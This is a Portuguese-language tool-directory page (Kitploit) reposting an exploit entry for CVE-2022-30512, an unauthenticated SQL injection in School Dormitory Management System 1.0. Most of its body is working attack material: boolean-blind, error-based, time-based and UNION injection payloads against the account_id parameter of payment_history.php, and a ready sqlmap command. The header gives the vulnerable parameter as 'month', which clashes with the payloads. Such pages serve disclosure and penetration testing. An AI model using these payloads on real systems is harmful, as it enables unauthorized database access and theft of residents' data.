Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2022-30512 — Sistema de Gestão de Dormitórios Escolares 1.0 - Injeção SQL não autenticada | Kitploit
Ferramentas/GitHubGitHub/bigzooooz/cve-2022-30512
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de Penetração
GitHubbigzooooz/cve-2022-30512

CVE-2022-30512

Sistema de Gestão de Dormitórios Escolares 1.0 - Injeção SQL não autenticada

Ver Repositório
1há 4 anosAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2022-30512

Sistema de Gerenciamento de Dormitórios Escolares 1.0 - Injeção SQL Não Autenticada

Título do Exploit: Sistema de Gerenciamento de Dormitórios Escolares 1.0 - Injeção SQL Não Autenticada

Data: 2022-05-25

CVE: CVE-2022-30512

Autor do Exploit: Abdulaziz Saad (@b4zb0z)

Página do Fornecedor: https://www.sourcecodester.com/

Link do Software:

https://www.sourcecodester.com/php/15319/school-dormitory-management-system-phpoop-free-source-code.html

Versão: 1.0

Testado em: LAMP, Ubuntu

[#] Localização da Vulnerabilidade: $_GET['month'] em /dms/admin/accounts/payment_history.php:31

root@kitploit:~
Parâmetro: account_id (GET)
root@kitploit:~
Tipo: cego baseado em booleano
Título: AND cego baseado em booleano - cláusula WHERE ou HAVING
Payload: account_id=2' AND 6703=6703 AND 'jmUS'='jmUS
root@kitploit:~
Tipo: baseado em erro
root@kitploit:~
Título: MySQL >= 5.0 AND baseado em erro - cláusula WHERE, HAVING, ORDER BY ou GROUP BY (FLOOR)
Payload: account_id=2' AND (SELECT 7343 FROM(SELECT COUNT(*),CONCAT(0x71716b7671,(SELECT (ELT(7343=7343,1))),0x7170626a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'htiO'='htiO
root@kitploit:~
Tipo: cego baseado em tempo
root@kitploit:~
Título: MySQL >= 5.0.12 AND cego baseado em tempo (consulta SLEEP)
Payload: account_id=2' AND (SELECT 2865 FROM (SELECT(SLEEP(5)))hWAb) AND 'pbGX'='pbGX
root@kitploit:~
Tipo: Consulta UNION
root@kitploit:~
Título: Consulta UNION genérica (NULL) - 7 colunas
Payload: account_id=2' UNION ALL SELECT CONCAT(0x71716b7671,0x6458467273575152444c465a7a5276684f74756c7a754b6d506a6c437a5a516479574d5844694b78,0x7170626a71),NULL,NULL,NULL,NULL,NULL,NULL-- -

[#] Exploração Usando SQLMAP: sqlmap -u "http://localhost/dms/admin/accounts/payment_history.php?account_id=2" --dbms=mysql

Baixar ferramenta